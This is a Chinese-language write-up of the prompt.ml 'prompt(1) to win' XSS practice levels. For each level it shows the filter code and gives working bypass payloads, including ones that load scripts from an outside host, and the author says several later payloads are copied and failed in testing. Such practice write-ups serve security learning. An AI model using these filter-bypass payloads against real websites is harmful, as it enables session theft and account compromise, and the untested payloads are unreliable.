XSS學習之prompt(1) to win


prompt(1) to win是一個xss練習平台。

鏈接地址:http://prompt.ml/0

規則:

1、成功執行prompt(1)即可獲勝,payload不需要用戶交互,若成功執行,界面會顯示YOUWON。
2、每個payload均需要在以下瀏覽器測試:Chrome(最新版)、Firefox(最新版)、IE10
3、雖然大多數級別都具有所有瀏覽器解決方案,但有些可能沒有。確保每個級別都有至少兩個瀏覽器的解決方案。
4、最后但並非最不重要的一點是,有效載荷占用的字符較少。

 

Level 0 沒有過濾

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}    

題目分析:沒有任何過濾。

Payload:

"><script>prompt(1)</script><!--

 

Level 1 <內容>過濾

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
} 

題目分析:這里將<>之間進行匹配,然后替換成空,所以不能出現>。

Payload:

//可以用//注釋繞過,相當於繞過了>
<img src=1 onerror=prompt(1)//
<body onload=prompt(1)//
<svg/onload=prompt(1)

 

Level 2 =(過濾

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}   

題目分析:過濾了等號=和右括號(。

Payload:

//使用SVG標簽,會提前將將XML實體解析再加入標簽。這里的 &#40; 是 ( 的Unicode編碼。
<svg><script>prompt&#40;1)</script>
//調用js中的eval函數
<script>eval.call`${'prompt\x281)'}`</script> 
<script>eval.call`${'alert\x281)'}`</script> 
<script>eval`${alert`1`}`</script>
<script>alert`1`</script>

 

Level 3  ->繞過

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}     

題目分析:這個是將->替換成_,並要求繞過注釋。因此只要想辦法閉合注釋即可,html可以-->--!>閉合注釋。 

Payload:

--!><script>prompt(1)</script>

 

Level 4 同源的正則過濾

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}  

題目分析:這里通過限制src的值的開頭必須為http://prompt.ml/,來達到src的值必須為同源的腳本的目的,查找資料發現可以利用url的特性繞過.

瀏覽器支持這樣的url:user:password@attacker.com。意思是使用user:password登錄到站點attacker.com.

舉例如下:admin:123456@www.baidu.com,意即使用用戶名admin和密碼123456登錄到百度站點。

當然這個url也可以簡化為user@attacker.com,即省略密碼。

因此我們在構造http://prompt.ml/@attacker.com類似的Payload,將http://prompt.ml/作為user,attack.com理所應當就是我們自己的服務器,這樣就繞過了同源限制。

但是這個payload還不行,因為 / 出現在user中是不允許的。考慮到這里的正則特性和decodeURIComponent函數,所以可以使用%2f繞過。

Payload:

http://prompt.ml%2f@172.16.73.66/test/1.js

 

Level 5 input_value限制

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
}  

題目分析:過濾了>onxxxx=focus,所以在這里無法使用autofocus了。但是這里可以將input標簽的type類型覆蓋了,比如說將之覆蓋成image類型,然后可以利用οnerrοr=,使用換行繞過即可。

Payload:

" type=image src  onerror
=prompt(1)

 

Level 6 表單提交action過濾

function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}        

題目分析:通過代碼和注釋可以看出來,題目構造post表單,我們需要輸入的格式為formURL#formDataJSON,比如http://httpbin.org/post#{"name":"Matt"},具體過程是先提取formURL構造form表單,formURL賦值給form標簽中的action,然后post內容構造input標簽。

我們想嵌入代碼,經常能見到類似action=”javascript:alert(1)”的內容,但是后面還過濾了document.form[0].action內容,過濾了script和data。如下圖所示

但是過濾存在缺陷,由於存在子級tag,action 將會優先指向name為action的子tag。

所以我們在構造payload時,可以將input標簽的name屬性值設置為action,這樣document.form[0].action指向的就不是form標簽中的action了,因此過濾也就不起作用了。神奇吧。

Payload:

javascript:prompt(1)#{"action":"Matt"}

 

Level 7 連續輸出長度限制

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}      

題目分析:題目根據#分離,每一部分賦給一個title,如果超過12字符,就截取前12個。舉例

可以使用注釋繞過長度限制

"><script>/*#*/prompt(1/*#*/)</script>
"><svg/a=#"onload='/*#*/prompt(1)'

 

Level 8 換行符過濾

function escape(input) {
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[\r\n</"]/g, '');

    return '                                \n\
<script>                                    \n\
    // console.log("' + input + '");        \n\
</script> ';
} 

題目分析:過濾了\r、\n、<、/、和"。返回了// console.log("' + input + '");所以需要繞過過濾規則逃脫出雙引號或者本行。

這里過濾了兩個換行符,所以用到了一個特殊的編碼技巧:

U+2028,是Unicode中的行分隔符。
U+2029,是Unicode中的段落分隔符。
–> 在 js 中可當注釋使用 

很多人說原來的payload沒用,我來告訴大家如何生成payload。

首先用chrome F12打開開發者選項,然后利用console模塊,輸入

'\u2028prompt(1)\u2028-->'

得到一個東西,將之復制下來就是payload!

 

Level 9

function escape(input) {
    // filter potential start-tags
    input = input.replace(/<([a-zA-Z])/g, '<_$1');
    // use all-caps for heading
    input = input.toUpperCase();

    // sample input: you shall not pass! => YOU SHALL NOT PASS!
    return '<h1>' + input + '</h1>';
} 

題目分析:這里的正則表達式,將 < 后面的第一個字母前加 _ ,比如說將<script>這樣的標簽替換為<_SCRIPT>。

經過查資料發現這里的關鍵在於toUpperCase()不僅轉換英文字母,也轉換一些Unicode字符,比如將 ſ 傳入就可以轉換為 S ,這樣就可以繞過。

直接構造<ſcript>prompt(1)</ſcript>不行,因為javascript對大小寫敏感,,不識別PROMPT(1)。

所以構造的payload為<ſcript/ſrc="xxx/1.js"></ſcript>,經過轉換后就成了<h1><SCRIPT/SRC="XXX/1.JS"></SCRIPT></h1>,成功加載遠程的js腳本。

 

Level  10

function escape(input) {
    // (╯°□°)╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');

    // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
}     

題目分析:進行了html編碼,然后將prompt替換為alert,並且過濾了單引號。

注:encodeURIComponent()不會對 ASCII 字母和數字進行編碼,也不會對這些 ASCII 標點符號進行編碼: - _ . ! ~ * ' ( ) 。其他字符(比如:;/?:@&=+$,# 這些用於分隔 URI 組件的標點符號),都是由一個或多個十六進制的轉義序列替換的。

Payload:

p'rompt(1)

 

Level 11

function escape(input) {
    // name should not contain special characters
    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

    // data to be parsed as JSON
    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

    // directly "parse" data in script context
    return '                                \n\
<script>                                    \n\
    var data = ' + dataString + ';          \n\
    if (data.action === "login")            \n\
        document.write(data.message)        \n\
</script> ';
}        

題目分析:本題正則過濾了大量的符號。

第一個思路是利用js的一個特性進行繞過。在js中,鍵名相同,輸出后值是后面的變量的值。

可以通過下面這個例子來理解

>var array={"n":1,"n":2}
>array.n
>2

因此構造思路是構造 ","message":"prompt(1)" ,可是正則表達式中過濾了冒號,所以這種方法不可取,只能另想辦法。

另一個思路是,利用js的一個神奇的語法。

在js中,(prompt(1))instanceof"1"和 (prompt(1))in"1" 是可以成功彈窗的(可以自己在console試一下),其中雙引號里面的1可以是任何字符,這里的in或者instanceof是運算符,所以可以有這樣的語法結構。

Payload:

"(prompt(1))in"
"(prompt(1))instanceof"

另外補充一個知識點,"1"(alert(1))雖然會提示語法錯誤, 但是還是會執行js語句彈框。

 

Level 12

function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( \o°o)\
    return '<script>' + input + '</script> ';
}    

題目分析:跟第0x10題好像,但是過濾了',所以只能試試編碼或是函數,想到sql中有那種利用函數轉換成字符的,嘗試一下

Payload: 

eval((630038579).toString(30))(1)

還有很多可以構造的

eval((1172936279).toString(34).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))

eval((25).toString(30).concat(String.fromCharCode(114)).concat(String.fromCharCode(111)).concat(String.fromCharCode(109)).concat(String.fromCharCode(112)).concat(String.fromCharCode(116)).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))

在控制台輸入for((i)in(self))console.log(i),可以看到self包含了所有當前窗體的函數和變量,執行window.self也可以獲得一樣的結果。

 

Level 13

function escape(input) {
    // extend method from Underscore library
    // _.extend(destination, *sources) 
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    // a simple picture plugin
    try {
        // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
        var data = JSON.parse(input);
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        // forbit invalid image source
        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
        }
        // purify the source by stripping off "
        var source = config.source.replace(/"/g, '');
        // insert the content using mustache-ish template
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
}        

題目分析:JSON.parse()函數要接受一個json格式的字符串返回json格式的對象,如果傳入的參數已經是json格式則會拋出異常,傳入的參數被解析成json格式,格式不對則直接返回Invalid image data.,再經由extend()函數處理,extend()函數把默認值替換為指定的值后返回,然后是一個正則判斷source對應的值中是否有不屬於url的符號,有則刪去這個值,將source屬性刪除。

每個對象都會在其內部初始化一個屬性,就是proto,當我們訪問對象的屬性時,如果對象內部不存在這個屬性,那么就會去proto里面找這個屬性。
舉例測試:

b={"a":1,"__proto__":{"a":2}}

那么基本上就是構造{"source":"'","__proto__":{"source":"onerror=prompt(1)"}},由於前面有非法字符',則會刪除,但是在替換的時候由於過濾了",無法閉合,那么正好有一種特殊的替換方式

測試一下

Payload:

{"source":"'","__proto__":{"source":"$`onerror=prompt(1)>"}} 

太巧妙了!

 

Level 14

function escape(input) {
    // I expect this one will have other solutions, so be creative :)
    // mspaint makes all file names in all-caps :(
    // too lazy to convert them back in lower case
    // sample input: prompt.jpg => PROMPT.JPG
    input = input.toUpperCase();
    // only allows images loaded from own host or data URI scheme
    input = input.replace(/\/\/|\w+:/g, 'data:');
    // miscellaneous filtering
    input = input.replace(/[\\&+%\s]|vbs/gi, '_');

    return '<img src="' + input + '">';
}     

題目分析:函數先把輸入轉換為大寫,第二層將//和字母換為data:,第三層將\\、&、+、%和空白字符,vbs替換為_,所以不能內嵌編碼后的字符,由於js大小寫敏感,所以只能引用外部腳本。Data URI是由RFC 2397定義的一種把小文件直接嵌入文檔的方案。格式如下:

data:[<MIME type>][;charset=<charset>][;base64],<encoded data>

其實整體可以視為三部分,即聲明:參數+數據,逗號左邊的是各種參數,右邊的是數據。

MIME type,表示數據呈現的格式,即指定嵌入數據的MIME。

  • 1、對於PNG的圖片,其格式是image/png,如果沒有指定,默認是text/plain。
  • 2、character set(字符集)大多數被忽略,默認是charset=US-ASCII。如果指定是的數據格式是圖片時,字符集將不再使用。
  • 3、base64,這一部分將表明其數據的編碼方式,此處為聲明后面的數據的編碼是base64,我們可以不必使用base64編碼格式,如果那樣,我們將使用標准的URL編碼方式,形如%XX%XX%XX的格式。

由於本題的輸入全被轉換成大寫的,正常的payload是無法被解析,老實說這題的官方答案都無法成功執行,看解釋的大概意思我猜是火狐瀏覽器是可以支持大寫的base64的解析,然后精心構造一個大寫的base64編碼,解碼后恰好可以達到上面的效果,便能夠成功執行,但是我實驗后是失敗的,我看其他人的wp也都說失敗了,不是很清楚具體原因是什么。

參考Payload:

"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

  

Level 15

function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
    }).join('\n');
}     

題目分析:跟Level 7差不多,但是過濾了/*,這樣就是構造關於<!---->的注釋即可

Payload:

(1)不太明白為什么前面一定要加<svg>標簽才會執行
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>      

(2)在FireFox和IE瀏覽器,最后的</script>不必要
"><svg><!--#--><script><!--#-->prompt(1)</

(3)還有一種利用模板字符串的方法
"><script>`#${prompt(1)}#`</script>

模板字符串 知識點:
1.反撇號字符 ` 代替普通字符串的引號 ' 或 ",提供了字符串插值功能
2.${x}被稱為模板占位符,JavaScript 將把 x 的值插入到最終生成的字符串中,也就是說`abcd${alert(1)}efgh`是可以正常執行的

參考:
http://www.infoq.com/cn/articles/es6-in-depth-template-string
https://en.wikipedia.org/wiki/String_interpolation

 

PS:以下3關直接copy了大神的答案,結果既沒執行成功,又沒看懂,我太難了!!!

Hidden Level -1

function escape(input) {
    // WORLD -1

    // strip off certain characters from breaking conditional statement
    input = input.replace(/[}<]/g, '');

    return '                                                     \n\
<script>                                                         \n\
    if (history.length > 1337) {                                 \n\
        // you can inject any code here                          \n\
        // as long as it will be executed                        \n\
        {{injection}}                                            \n\
    }                                                            \n\
</script>                                                        \n\
    '.replace('{{injection}}', input);
}  

題目分析:這里可以看到過濾了<,},而且判斷長度必須大於1337,所以用到js函數提升,還用到了一個前面提到的關於replace的匹配技巧。

參考:https://blog.csdn.net/qq_39712029/article/details/80951958

在console測試一下如下代碼:

function history(A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A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,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A){
	alert('Function declared with ' + history.length + " parameters");
}
history();

看來是可以繞過大於1337,之后利用$&來替換prompt(1)

參考Payload:

function history(A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,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A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A)$&prompt(1)we 

竟然沒成功。。。

 

Hidden Level -2

function escape(input) {
    // Christmas special edition!
    // Ho ho ho these characters are in Santa's naughty list
    input = input.replace(/[!=*`]/g, '');
    // pass in your wishes like pets#toys#half-life3...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // Don't be greedy! Each present can only contain 20 characters
        return '<p class="present" title="' + title.slice(0, 20) + '"></p>';
    }).join('\n');
}      

參考Payload:

"><script>@if(0)#@end;prompt(1)@if(0)#@end</script>

  

Hidden Level -3

function escape(input) {
    // I iz fabulous cat
    // cat hatez dem charz
    var query = input.replace(/[&#>]/g, '');
    var script = document.createElement('script');
    // find me on Twttr
    script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' + query + '&callback=swag';
    return '<input name="query" type="hidden" value="' + query + '">' +
        script.outerHTML;
}   

參考Payload:

"onclick=prompt(1) id="a";callback=a.click;

 

參考:

https://blog.csdn.net/qq_35078631/article/details/77073233

https://blog.csdn.net/Ni9htMar3/article/details/77938899?utm_source=blogxgwz1

https://xz.aliyun.com/t/4507


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM